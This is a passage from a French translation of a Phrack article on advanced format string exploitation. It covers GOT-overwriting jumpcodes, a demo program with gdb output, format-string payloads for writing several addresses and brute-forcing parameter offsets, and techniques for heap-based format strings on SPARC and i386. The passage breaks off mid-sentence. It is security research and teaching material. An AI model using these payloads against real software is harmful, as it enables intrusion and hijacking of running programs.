==Phrack Inc.== 0x0b, Édition 0x3b, Article #0x07 sur 0x12 |=---------------=[ Avancées dans les chaines de format ]=---------------=| |=-----------------------------------------------------------------------=| |=--------=[ par gera , riq ]=---------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| 1 - Intro Partie I 2 - Brute-forcer les chaines de format 3 - 32*32 == 32 - en utilisant les jumpcodes 3.1 - Écrire du code à n'importe quelle adresse connue 3.2 - Le code est ailleur 3.3 - Fonctions amicales 3.4 - Pas d'adresse chiante 4 - n fois plus vite 4.1 - écrasement d'adresses multiples 4.2 - brute force du nombre de paramètres Partie II 5 - Exploiter les chaines de format dans le tas 6 - La pile SPARC 7 - Le truc 7.1 - Premier exemple 7.2 - Deuxième exemple 7.3 - Troisième exemple 7.4 - Quatrième exemple 8 - Construire une primitive "écrire 4 octets arbitraires n'importe où" 8.1 - Cinquième exemple 9 - La pile i386 9.1 - Sixième exemple 9.2 - Septième exemple - le générateur de pointeur 10 - Conclusions 10.1 - Est-ce dangereux d'écraser l0 (dans un cadre de pile) ? 10.2 - Est-ce dangereux d'écraser ebp (dans un cadre) ? 10.3 - Est-ce fiable ? The End 11 - Remerciements 12 - Références --[ 1. Intro Y a-t-il encore quelque chose à dire sur les chaines de format après tout ce temps ? Sûrement, au moins on va essayer... Pour commencer, aller voir l'excellent papier de scut sur les chaines de format [1] et lisez-le. Ce texte traite de deux sujets. Le premier concerne les petits trucs qui pourraient aider à accélérer le brute force quand on exploite un bug avec des chaines de format, et le deuxième concerne l'exploitation des bugs de chaines de format basés sur le tas. Attachez-vos ceintures, le voyage ne fait que commencer. --[ Part I - par gera --[ 2. Brute-forcer les chaines de format "... le brute-force n'est pas un terme heureux, et ne rend pas justice à beaucoup d'auteurs d'exploits, car la plupart du temps, beaucoup de réflexion ont lieu pour résoudre le problème d'une meilleure manière qu'en brute-force..." Merci à tous ces artistes qui m'ont inspiré cette phrase, surtout ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) et lorian+k. --[ 3. 32*32 == 32 - en utilisant les jumpcodes Ok, commençons par le commencement... Une chaine de format vous permet, en s'en occupant bien, d'écrire ce que vous voulez où vous voulez... J'aime bien appeler ça un fonction "écrire-n'importe-quoi-n'importe-où", et le truc décrit ici peut marcher dès que vous avez une fonction "écrire-n'importe-quoi-n'importe-où", que ça soit un format string, un débordement sur le "pointeur destination d'un strcpy()", une suite de free(), un débordement de tableau avec ret2memcpy, etc. Scut[1], shock[2], et d'autres[3][4] expliquent diverses méthodes pour détourner le flux d'exécution en utilisant une fonction "écrire-n'importe-quoi-n'importe-où", c'est à dire modifier la GOT, changer quelques pointeurs de fonction, les gestionnaires atexit(), hum... un membre virtuel d'une classe, etc. Quand vous le faites, vous devez savoir, deviner ou prédire deux adresses différentes : l'adresse du pointeur de fonction et celle du shellcode, chacune faisant 32bits, et si vous brute-forcez en aveugle, vous allez devoir trouver 64bits... et bien, en fait, ce n'est pas vrai, supossant que les adresses dans la GOT commencent toujours pas 0x0804 et que votre code sera en, hum... 0x0805... ok, pour linux, 4.294.967.296 essais... et bien, non, car vous pourriez pouvoir fournir un tampon de 4k de nops, et du coup, ça tombe à 1.048.576 essais, et comme la GOT ne se parcours que par pas de 4 octets, il reste 262.144... heh, tous ces nombres n'ont... hum... aucun sens. Et bien, parfois il y a d'autres trucs que vous pouvez faires, utiliser une primitive de lecture pour en apprendre plus sur le processus cible, ou transformer une primitive d'écriture en primitive de lecture, ou utiliser plus de nops, ou cibler la pile, ou coder en dur certaines adresses et en être content avec ça... Mais, il y a encore une chose que vous pouvez faire, puisqu'on est pas limité à n'écrire que 4 octets, on peut écrire plus que l'adresse du shellcode, on peut aussi écrire le shellcode ! ----[ 3.1. Écrire du code à n'importe quelle adresse connue Même avec un seul bug de chaine de format, vous pouvez non seulement écrire plus que 4 octets, mais vous pouvez les écrire à des endroits différents en mémoire, vous pouvez donc choisir n'importe quelle adresse dont vous savez qu'on peut y écrire et l'exécuter, par exemple, 0x8051234 (pour un exécutable sous linux), y écrire du code, et changer un pointeur de fonction (la GOT, les fonctions d'atexit(), etc) pour qu'elle pointe dessus : GOT[read]: 0x8051234 ; bien sûr, utiliser read n'est ; qu'un exemple 0x8051234: shellcode Quelle est la différence ? Et bien ... l'adresse du shellcode est connue, c'est toujours 0x8051234, vous n'avez donc à brute-forcer que l'adresse du pointeur de fonction, ce qui diminue le nombre d'essais à 15 dans le pire des cas. Ok, vous avez compris... vous ne pouvez pas écrire un shellcode de 200 octets avec cette technique avec une chaine de format (le pouvez-vous peut-être ?), vous pouvez peut-être écrire un shellcode de 30 octets, mais vous pouvez peut-être n'écrire que quelques octets... donc, nous avons besoin d'un jumpcode vraiment très petit pour que ça marche. ----[ 3.2. Le code est ailleur Je suis sûr que vous serez capable de mettre votre shellcode quelque part dans la mémoire, dans la pile ou dans le tas, ou ailleur (?!). Si c'est le cas, notre jumpcode va devoir localiser le shellcode et y sauter, ce qui peut être très facile, ou un peut plus tricky. Si le shellcode est quelque part dans la pile (dans la même chaine de format peut-être !?) et si vous pouvez, plus ou moins, savoir à quelle distance du sommet de pile il se trouve quand le jmpcode sera exécuté, vous pouvez faire un saut relatif à SP avec 8 ou 5 octets : GOT[read]: 0x8051234 0x8051234: add $0x200, %esp ; différence entre SP et jmp *%esp ; notre code ; n'utiliser que SP si vous ; le pouvez esp+0x200: nops... ; juste au cas ou la ; différence n'est pas ; constante vrai shellcode ; Ce n'est pas écrit avec la ; chaine de format Est-ce que le code est dans le tas ? mais vous n'avez pas la moindre idée d'où il est ? Alors, vous pouvez immiter Kato (cette version fait 18 octets, la version de Kato est un peu plus longue, mais il n'a utilisé que des lettres, et n'a pas non plus utilisé une chaine de format) : GOT[read]: 0x8051234 0x8051234: cld mov $0x4f54414a,%eax ; pour qu'il ne se trouve inc %eax ; pas lui-même ; (merci juliano) mov $0x804fff0, %edi ; on commence à chercher ; bas dans la mémoire repne scasl jcxz .-2 ; continue de chercher jmp *$edi ; les lettres majuscules ; sont les bons opcodes somewhere in heap: 'KATO' ; Si vous connaissez ; l'alignement un seul est 'KKATO' ; suffisant, sinon, mettez- 'KKATO' ; en plus 'KKATO' vrai shellcode Est-ce dans la pile mais vous ne savez pas où ? (10 octets) GOT[read]: 0x8051234 0x8051234: mov $0x4f54414a,%ebx pour qu'il ne se trouve inc %ebx ; pas lui-même ; (merci juliano) pop %eax cmp %ebx, %eax jnz .-3 jmp *$esp somewhere in stack: 'KATO' ; Vous connaitrez l'alignement vrai shellcode Ailleur ? ok, vous trouverez votre jumpcode vous-même :-) Mais soyez prudent ! 'KATO' pourrait ne pas être une bonne chaine, car elle est exécutée et a quelques effets de bord. :-) Vous pourriez aussi utiliser un jumpcode qui copie la pile dans le tas, si la pile n'est pas exécutable mais que le tas l'est. ----[ 3.3. Fonctions amicales Quand vous modifiez la GOT, vous pouvez choisir le pointeur de fonction que vous voulez utiliser, certaines fonctions sont meilleures que d'autres en fonction des cibles. Par exemple, si vous savez qu'après avoir changé le pointeur de fonction, le tableau contenant le shellcode va être libéré (via free()), vous pouvez juste faire (2 octets) : GOT[free]: 0x8051234 ; cette fois, on utilise free 0x8051234: pop %eax ; on ignore la vraie adresse ; de retour ret ; on saute sur les paramètres ; de free C'est la même chose avec read() si le tableau contenant le shellcode est réutilisé pour lire plus d'autres données sur le net, ou syslog() ou plein d'autres fonctions... Parfois, vous pourriez avoir besoin d'un jumpcode un peu plus complexe si vous devez éviter quelques octets au début du shellcode : (7 ou 10 octets) GOT[syslog]: 0x8051234 ; on utilise syslog 0x8051234: pop %eax ; on retire la vraie ; adresse de retour pop %eax add $0x50, %eax ; évite quelques octets jmp *$eax Et si rien d'autre ne fonction, mais que vous pouvez faire la différence entre un crach et un hung [NDT : le programme fonctionne, mais ne fait rien], vous pouvez utiliser un jumpcode avec une boucle infinie : vous brute-forcez les adresses dans la GOT jusqu'à ce que le serveur tombe dans la boucle (le fameux hung), à ce moment, vous connaîtrez l'adresse dans la GOT qui marche bien, et vous pouvez commencer à brute-forcer l'adresse du shellcode. GOT[exit]: 0x8051234 0x8051234: jmp . ; boucle infinie ----[ 3.4. Pas d'adresse chiante Comme je n'aime pas choisir des adresses arbitraires, comme 0x8051234, on peut tenter quelque chose de légèrement différent : GOT[free]: &GOT[free]+4 ; la faire pointer 4 ; octets plus loins jumpcode ; l'adresse est &GOT[free]+4 En fait, vous ne connaissez pas l'adresse de GOT[free], mais à chaque étape du brute force, vous partez du principe que vous la connessez et donc, vous pouvez la faire pointer 4 octets plus loins, où vous placez le jumpcode, i.e. si vous utilisez 0x8049094 comme adresse de GOT[free], votre jumpcode va se trouver en 0x8049098, et donc, vous devez écrire la valeur de 0x8049098 à l'adresse 0x8049094 et le jumpcode à l'adresse 0x8049098 : /* fs1.c * * programme de démo pour montrer les techniques de * * chaines de format, spécialement conçue pour remplir * * votre cerveau, par gera@corest.com */ int main() { char buf[1000]; strcpy(buf, "\x94\x90\x04\x08" // l'adresse de GOT[free] "\x96\x90\x04\x08" // "\x98\x90\x04\x08" // l'adresse du jumpcode // (2 octets pour la démo) "%.37004u" // complète à 0x9098 (0x9098-3*4) "%8$hn" // écrit 0x9098 à 0x8049094 "%.30572u" // complète à 0x10804 (0x10804-0x9098) "%9$hn" // écrit 0x0804 à 0x8049096 "%.47956u" // complète à 0x1c358 (0x1c358-0x10804) "%10$hn" // écrit 5B C3 (pop - ret) à 0x8049098 ); printf(buf); } gera@vaiolent:~/papers/gera$ make fs1 cc fs1.c -o fs1 gera@vaiolent:~/papers/gera$ gdb fs1 (gdb) br main Breakpoint 1 at 0x8048439 (gdb) r Breakpoint 1, 0x08048439 in main () (gdb) n ...0000000000000... (gdb) x/x 0x8049094 0x8049094: 0x08049098 (gdb) x/2i 0x8049098 0x8049098: pop %eax 0x8049099: ret Donc, si l'adresse de l'entrée de free() dans la GOt est 0x8049094, la prochaine fois qu'on appelle free(), notre petit jumpcode va être appelé à sa place. Cette dernière méthode à un autre avantage, elle ne peut pas être uniquement utilisée avec les chaines de format, où vous pouvez faire des écritures à différentes adresses, mais aussi avec n'importe quelle primitive "écrire-n'importe-quoi-n'importe-où", comme un écrasement de "pointeur destination de strtcpy()", ou un ret2memcpy buffer overflow. Où si vous êtes aussi chanceux [ou intelligent] que lorian, vous pouvez le faire avec une seule mauvaise utilisation de free() comme il me l'a appris. --[ 4. n fois plus vite ----[ 4.1. écrasement d'adresses multiples Si vous pouvez écrire plus de 4 octets, vous pouvez non-seulement mettre le shellcode ou le jumpcode ou vous voulez qu'il soit, vous pouvez aussi changer plusieurs pointeurs d'un seul coup, accélérant encore les choses. Bien sûr, tout ça peut être fait, encore une fois, avec n'importe quelle primitive "écrire-n'importe-quoi-n'importe-où" qui nous permet d'écrire plus de 4 octets, et, comme on va écrire la même valeur sur tous les pointeurs, il y a une manière pratique de le faire avec les chaines de format. Admettons qu'on utilise la chaine de format suivante pour écrire 0x12345678 à l'adresse 0x08049094: "\x94\x90\x04\x08" // l'adresse pour les deux premiers octets "AAAA" // La place pour le 2ème %.u "\x96\x90\x04\x08" // L'adresse des deux derniers octets "%08x%08x%08x%08x%08x%08x" // pop 6 paramètres "%.22076u" // complete à 0x5678 (0x5678-4-4-4-6*8) "%hn" // écrit 0x5678 à 0x8049094 "%.48060u" // complete à 0x11234 (0x11234-0x5678) "%hn" // écrit 0x1234 à 0x8049096 Puisque %hn n'ajoute aucun caractère à la chaine en sortie, on peut écrire la même valeur à divers endroit sans devoir ajouter plus de padding. Par exemple, pour changer la chaine de format précédente pour qu'elle écrive la valeur 0x12345678 à 5 mots mémoire consécutifs en commencant par 0x8049094, on peut utiliser : "\x94\x90\x04\x08" // adresses où écrire : "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "AAAA" // place pour le deuxième 2nd %.u "\x96\x90\x04\x08" // adresses pour 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%08x%08x%08x%08x%08x%08x" // pop 6 paramètres "%.22044u" // complete à 0x5678: 0x5678-(5+1+5)*4-6*8 "%hn" // écrit 0x5678 à 0x8049094 "%hn" // écrit 0x5678 à 0x8049098 "%hn" // écrit 0x5678 à 0x804909c "%hn" // écrit 0x5678 à 0x80490a0 "%hn" // écrit 0x5678 à 0x80490a4 "%.48060u" // complete à 0x11234 (0x11234-0x5678) "%hn" // écrit 0x1234 à 0x8049096 "%hn" // écrit 0x1234 à 0x804909a "%hn" // écrit 0x1234 à 0x804909e "%hn" // écrit 0x1234 à 0x80490a2 "%hn" // écrit 0x1234 à 0x80490a6 Ou différement en utilisant un accès directe aux paramètres. "\x94\x90\x04\x08" // adresses où écrire 0x5678 "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "\x96\x90\x04\x08" // adresses pour 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%.22096u" // complete à 0x5678 (0x5678-5*4-5*4) "%8$hn" // écrit 0x5678 à 0x8049094 "%9$hn" // écrit 0x5678 à 0x8049098 "%10$hn" // écrit 0x5678 à 0x804909c "%11$hn" // écrit 0x5678 à 0x80490a0 "%12$hn" // écrit 0x5678 à 0x80490a4 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%13$hn" // écrit 0x1234 à 0x8049096 "%14$hn" // écrit 0x1234 à 0x804909a "%15$hn" // écrit 0x1234 à 0x804909e "%16$hn" // écrit 0x1234 à 0x80490a2 "%17$hn" // écrit 0x1234 à 0x80490a6 Dans cet exemple, le nombre de "pointeurs de fonction" à écrire simultanément a été choisi arbitrairement, mais on aurait pu en choisir un autre. La limite dépend de la longueur de la chaine que vous pouvez fournir, du nombre de paramètres que vous devez dépiler si vous n'utilisez pas un accès direct vers les paramètres, s'il y a des restrictions pour l'accès direct (sur les librairies Solaris, c'est 30, sur certains Linux, c'est 400, et il peut y avoir d'autres variantes), etc Si vous voulez combiner le jumpcode avec l'écrasement de plusieurs adresses, vous devez garder à l'esprit que le jumpcode ne se trouve pas 4 octets juste après le pointeur de fonction, mais un peu plus, en fonction du nombre d'adresses que vous écrasez simultanément. ----[ 4.2. brute force du nombre de paramètres Parfois, vous ne savez pas combien de paramètres vous devez dépiler, ou pour les accéder directement, et vous devez les testez jusqu'à tomber sur le bon nombre. Parfois, il est possible de le faire de manière plus intelligente, surtout quand ce n'est pas un format string en aveugle (l'ai-je déjà dit ? allez lire le papier de Scut[1] !). Quoi qu'il en soit, il y aura des cas ou vous ne saurez pas combien de paramètres dépiler, et devrez comment le deviner, comme dans l'exemple python-like suivant: pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" # L'adresse de GOT[free] fstring += "\x96\x90\x04\x08" # fstring += "\x98\x90\x04\x08" # adresse d ujumpcode fstring += "%.37004u" # complète à 0x9098 fstring += "%%%d$hn" % pops # écrit 0x9098 à 0x8049094 fstring += "%.30572u" # complète à 0x10804 fstring += "%%%d$hn" % (pops+1) # écrit 0x0804 à 0x8049096 fstring += "%.47956u" # complète à 0x1c358 fstring += "%%%d$hn" % (pops+2) # écrit (pop - ret) à 0x8049098 worked = try_with(fstring) pops += 1 Dans cet exemple, la variable 'pops' est incrémentée pour essayer de trouver le bon nombre à utiliser dans un accès direct aux paramètres. Si nous répétons l'adresse cible, on peut construire une chaine de format qui nous permet d'incrémenter 'pops' plus vite. Par exemple, en répétant chaque adresse 5 fois, nous avons un brute force plus rapide : pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" * 5 # adresse de GOT[free] fstring += "\x96\x90\x04\x08" * 5 # on la répète 5 fois fstring += "\x98\x90\x04\x08" * 5 # adresse du jumpcode fstring += "%.37004u" # complète à 0x9098 fstring += "%%%d$hn" % pops # écrit 0x9098 à 0x8049094 fstring += "%.30572u" # complète à 0x10804 fstring += "%%%d$hn" % (pops+1) # écrit 0x0804 à 0x8049096 fstring += "%.47956u" # complète à 0x1c358 fstring += "%%%d$hn" % (pops+2) # écrit (pop - ret) à 0x8049098 worked = try_with(fstring) pops += 5 Tomber sur n'importe laquelle des 5 copies marche, plus vous pouvez mettre de copies, mieux c'est. C'est une idée simple, répéter les adresses. Si vous êtes perdus, prenez un crayon et dessinez quelques schémas, d'abord, dessinez une pile contenant la chaine de format, et un nombre aléatoire de paramètres à son sommet, et commencez le brute force à la main. Ça va être amusant ! Je vous le garanti ! :-) Ça peut paraître stupide, mais ça pourrait vous aider un jours, on sait jamais... et bien sûr on pourrait faire la même chose sans accès direct aux paramètres,mais c'est un peut plus compliqué puisqu'on doit recalculer la longueur pour le format %.u à chaque essai. --[ postlude Dans ce texte, mon message était : une chaine de format est bien plus qu'une simple primitive "écrire 4 octets arbitraires n'importe où", c'est presque une primitive "écrire n'importe quoi n'importe où", qui vous permet de plus grandes possibilités. Pour l'instant tout va bien, la suite ne dépend que de vous... --[ Partie II - par riq --[ 5. Exploiter les chaines de format dans le tas Souvent, les chaines de format se trouvent dans la pile. Mais il y a des cas où elles sont stockées dans le tas, et vous NE POUVEZ PAS les voir. Je présente ici une manière de gérer ces chaines de format de manière générique pour machines SPARC (et en big-endian), et au final, nous vous montreront comment faire pareil pour les machines en little-endian. --[ 6. La pile SPARC Dans la pile, vous trouverez des cadres de pile [NDT : stack frames]. Ces cadres contiennent les variables locales, les registres, les pointeurs vers le cadre précédent, l'adresse de retour, ... Puisqu'avec les chaines de format, on peut voir la pile, nous allons l'étudier plus prudement. Les cadres de la pile en SPARC ressemblent plus ou moins à ça : cadre 0 cadre 1 cadre 2 [ l0 ] +----> [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] Et ainsi de suite... Le registre fp est un pointeur vers le cadre appelant. Comme vous pourriez vous dire, "fp" signifie "frame pointer" [NDT : pointeur vers le cadre]. Les temp_N sont les variables locales qui sont sauvegardées dans la pile. Le cadre 1 commence là ou les variables locales du cadre 0 finissent, et le cadre 2 commence là ou les variables locales du cadre 1 finissent, et ainsi de suite. Tous ces cadres sont stockés dans la pile. Nous pouvons donc voir tous ces cadres avec nos chaines de format. --[ 7. Le truc Le truc consiste en ce que chaque cadre contient un pointeur vers le cadre précédent. Ensuite, plus nous aurons de pointeurs vers la pile, mieux ça sera. Pourquoi ? Parce que si nous avons un pointeur vers notre prpre pile, nous pouvons écraser à l'adressee qu'il pointe avec n'importe quelle valeur. --[ 7.1. Premier exemple Supposons que nous voulons mettre la valeur 0x1234 dans l0 du cadre 1. Nous alons alors essayer de construire une chaine, dont la longueur est 0x1234, au moment ou nous avons atteint le fp du cadre 0, et finissant par %n. Supposons que le premier parametre que nous voyons est le registre l0 du cadre 0, nous devrions avoir une chaine de format ressemblant à ceci : '%8x' * 8 + # dépile les 8 registres 'l' '%8x' * 5 + # dépile les 5 premiers registres 'i' '%4640d' + # change la longueur de la chaine (4640 = 0x1220) et... '%n' # on écrit où fp pointe (le l0 du cadre 1) Donc, après l'exécution de la chaine de format, notre pile devrait ressembler à ça : cadre 0 cadre 1 [ l0 ] +----> [ 0x00001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.2. Deuxième exemple Si nous choisissons un plus grand nombre, comme 0x20001234, nous avons besoin de deux pointeurs vers la même adresse. Quelque chose dans ce genre : cadre 0 cadre 1 [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] [ Note : On ne trouve pas toujours 2 pointeurs vers la même adresse, mais ce n'est pas rare non plus. ] Notre chaine de format ressemblera alors à ceci : '%8x' * 8 + # dépile les 8 registres 'l' '%8x' * 5 + # dépile les 5 premiers registres 'i' '%4640d' + # change la longueur de la chaine (4640 = 0x1220) et... '%n' + # on écrit où fp pointe (le l0 du cadre 1) '%3530d' + # On remodifie la longueur de la chaine '%hn' # et on écrit, mais que la première partie (%hn) Et nous devrions obtenir ceci : cadre 0 cadre 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] --[ 7.3. Troisième exemple Si nous n'avons qu'un seul pointeur, nous pouvons arriver au même résultat en utilisant "l'accès direct aux paramètres" dans la chaine de format, avec les %index$, où "index" est un nombre entre 0 et 30 (sous Solaris). Notre chaine de format devrait ressembler à ça : '%4640d' + # change la longueur '%15$n' + # on écrit où le 15ème paramètre pointe (le 15ème est fp) '%3530d' + # rechange la longueur '%15$hn' # réécrit, mais uniquement la partie %hn Du coup, on arrivera à quelque chose comme ça : cadre 0 cadre 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.4. Quatrième exemple Mais il peut arriver qu'on ait pas deux pointeurs vers la même adresse, et que le premier pointeur utilisable soit en dehors des 30 premiers paramètres. Que pourrions-nous donc faire ? Souvenez-vous qu'avec '%n', on peut écrire de très grand nombres, comme 0x00028000 et même plus. Vous devriez garder à l'esprit que la PLT des binaires est souvent stockée dans les adresses basses, comme 0x0002????. Donc, avec un seul pointeur qui pointe vers la pile, vous pouvez créer un pointeur vers la PLT du binaire. Je ne pense pas qu'un dessin soit nécessaire ici. --[ 8. Construire une primitive "écrire 4 octets arbitraires n'importe où" --[ 8.1. Cinquième exemple Pour avoir une primitive "écrire 4 octets arbitraires n'importe où", nous devrions répéter ce qu'on a fait avec le cadre 0, et le refaire avec le cadre 1, et ainsi de suite. Notre résultat devrait ressembler à ça : cadre 0 cadre 1 cadre 2 [ l0 ] +----> [0x00029e8c] +----> [0x00029e8e] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] | [ i7 ] [ temp 1] [ temp 1] | [ temp 2] ----+ [ temp 3] [Note : En admettant que le code qu'on veuille changer soit en 0x00029e8c] Donc, maintenant qu'on a deux pointeurs, l'un vers 0x00029e8c et l'autre vers 0x00029e8e, nous avons finalement atteint notre but ! Nous pouvons maintenant exploiter la situations, comme n'importe quelle vulnérabilité de chaine de format :) La chaine de format ressemblera à ça : '%4640d' + # change la longueur '%15$n' + # avec accès direct aux paramètres, on écrit la # partie basse du l0 du cadre 1 # of frame 1's l0 '%3530d' + # rechange la longueur '%15$hn' + # écrase la partie haute '%9876d' + # change la longueur '%18$hn' + # et écrit comme n'importe quelle exploit ! '%8x' * 13+ # dépile 13 paramètres (à partir du 15ème) '%6789d' + # change la longueur '%n' + # écrit la partie basse '%8x' + # dépile '%1122d' + # modifie la longueur '%hn' + # écrit la partie haute '%2211d' + # change la longueur '%hn' # et réécrit, comme n'importe quel exploit. Comme vous pouvez le voir, ça a été fait avec une seule chaine de format. Mais ce n'est pas toujours possible. Si nous ne pouvons pas construire deux pointeurs, nous allons avoir besoin d'abuser deux fois la chaine de format. D'abord, nous construisons un pointeur vers 0x00029e8c, ensuite, nous écrasons la valeur qu'il pointe avec '%hn'. La deuxième fois qu'on l'abuse, nous faisons la même chose, mais avec un pointeur vers 0x00029e8e. Il n'y a pas vraiment besoin de deux pointeurs (0x00029e8c et 0x00029e8e), puisqu'écrire d'abord la partie basse avec %n, puis la partie haute avec %hn marchera, mais vous devrez utiliser le même pointeur deux fois, qui n'est possible qu'avec l'accès direct aux paramètres. --[ 9. La pile i386 Nous pouvons aussi exploiter une chaine de format dans le tas sous architecture i386 en utilisant une manière similaire. Voyons d'abord comment fonctionne la pile i386. cadre 0 cadre 1 cadre 2 cadre 3 [ ebp ] ---> [ ebp ] ---> [ ebp ] ---> [ ebp ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] Comme vous pouvez le voir, la pile i386 est similaire à son homologue sous SPARC, la différence principale est que les adresses sont stockée en little endian. [ NDT : Dans la suite de l'article, ces deux acronymes seront utilisés : LSB : Least Significant Byte, octet de poids faible, MSB : Most Significant Byte, octet de poids fort ] cadre 0 cadre 1 [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] Donc, le truc que nous utilisions sous SPARC pour écraser le LSB de l'adresse avec %n, puis son MSB avec %hn en utilisant qu'un seul pointeur ne marchera plus sous architecture i386. Nous avons besoin d'un pointeur supplémentaire, qui pointe vers l'adresse du MSB, pour pouvoir le changer. Quelque chose de ce genre : +----------------------------+ | | | V [LSB | MSB] | [LSB | MSB] ---> [LSB | MSB] [ ] | [ ] [ ] [ ] -+ [ ] [ ] [ ... ] [ ... ] [ ... ] Cadre B Cadre C Cadre D Heh ! Comme vous l'avez deviné, ce n'est pas très commun dans les piles normales, donc, ce qu'on va faire, c'est construire le pointeur qu'on a besoin, et ensuite, bien sûr, l'utiliser. Attention ! Nous avons trouvé que cette technique ne marche pas sur les derniers Linux, nous ne sommes même pas sûr qu'elle marche sur l'un d'eux (ça dépend de la version de la libc/glibc), mais nous savons qu'elle fonctionne, au moins, sous OpenBSD, FreeBSD et Solaris x86. --[ 9.1. Sixième exemple Ce truc nécessitera un cadre supplémentaire... plus tard, on va essayer de ne dépendre que du moins possible de cadres. +----------------------------+ | | | V [LSB | MSB] ---> [LSB | MSB] -+ [LSB | MSB] ---> [LSB | MSB] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] Cadre A Cadre B Cadre C Cadre D Le cadre A a un pointeur vers le cadre B. En fait, il pointe vers l'ebp du cadre B. Donc, nous pouvons modifier le LSB de l'epb de B, avec un %hn. Et c'est ce dont nous avons besoin ! Maintenant, le cadre B ne pointe plus vers le cadre C, mais vers le MSB de l'epb du cadre D. Nous utilisons le fait qu'ebp pointe déjà dans la pile, et que ne changer que ses 2 LSB sera suffisant pour le faire pointer vers une autre sauvegarde d'ebp. Il peut y avoir quelque problème avec ça (si le cadre D n'est pas sur le même "segment" de 64K que le cadre C), mais nous les supprimerons dans les exemples suivants. Donc, avec 4 cadres, nous pouvons construire un pointeur dans la pile, avec ce pointeur, nous pouvons écrire 2 octets n'importe où en mémoire. Si nous avons 8 cadres, nous pouvons répéter la technique et construire deux pointeurs dans la pile, nous permettant d'écrire 4 octets n'importe où en mémoire. --[ 9.2. Septième exemple - le générateur de pointeur Il y a des cas où vous n'avez pas 8 (ni 4) cadres. Que pouvons-nous y faire ? Et bien, en utilisant l'accès directe aux paramètre, nous pourions utiliser uniquement 3 cadres pour tout faire, et pas seulement une primitive "écrire 4 octets arbitraires n'importe où", mais quasiment une primitive "écrire n'importe quoi n'importe où". Voyons comment on peut le faire, en usant (et abusant) de l'accès direct aux paramètres, pour écrire l'adresse 0xdfbfddf0 dans la pile, et pouvoir l'utiliser ensuite avec un autre %hn et y écrire. Étape 1 : Le pointeur de cadre sauvegardé (l'ebp sauvegardé) du cadre B pointe déjà vers l'ebp sauvegardé de C, donc, la première chose à faire est de changer le LSB du cadre de C : [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Cadre A Cadre B Cadre C Puisqu'on sait où est le cadre B dans la pile, nous pourrions utiliser l'accès direct pour accéder au paramètre qu'on a changé... et pas qu'une seule fois. Plus loins, nous allons voir comment trouver le nombre exact à utiliser pour l'accès direct, pour l'instant, admettons que pour le cadre B, c'est 14. # première étape '%.56816u' + # change la longueur (on veut écrire 0xddf0) '%14$hn' + # écrit où le 14ème paramètre pointe # (le 14ème, c'est l'ebp du cadre B) On récupère alors un ebp du cadre C modifié. Étape 2 : [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Cadre A Cadre B Cadre C Comme l'ebp du cadre A pointe déjà vers l'ebp du cadre B, nous pouvons l'utiliser pour changer le LSB de l'ebp du cadre B, et comme il pointe vers le LSB de l'ebp du cadre C, nous pouvons le faire pointer vers le MSB de l'ebp du cadre D. Nous n'auront pas le problème des segments de 64K cette fois-ci, car le LSB de l'ebp du cadre D doit être dans le même segment que son MSB, puisqu'on aligne toujours sur 4 octets... Je sais, c'est assez déroutant... Par exemple, si le cadre C est en 0xdfbfdd6c, nous voudrons faire pointer l'epb du cadre B vers 0xdfbfdd6e, pour 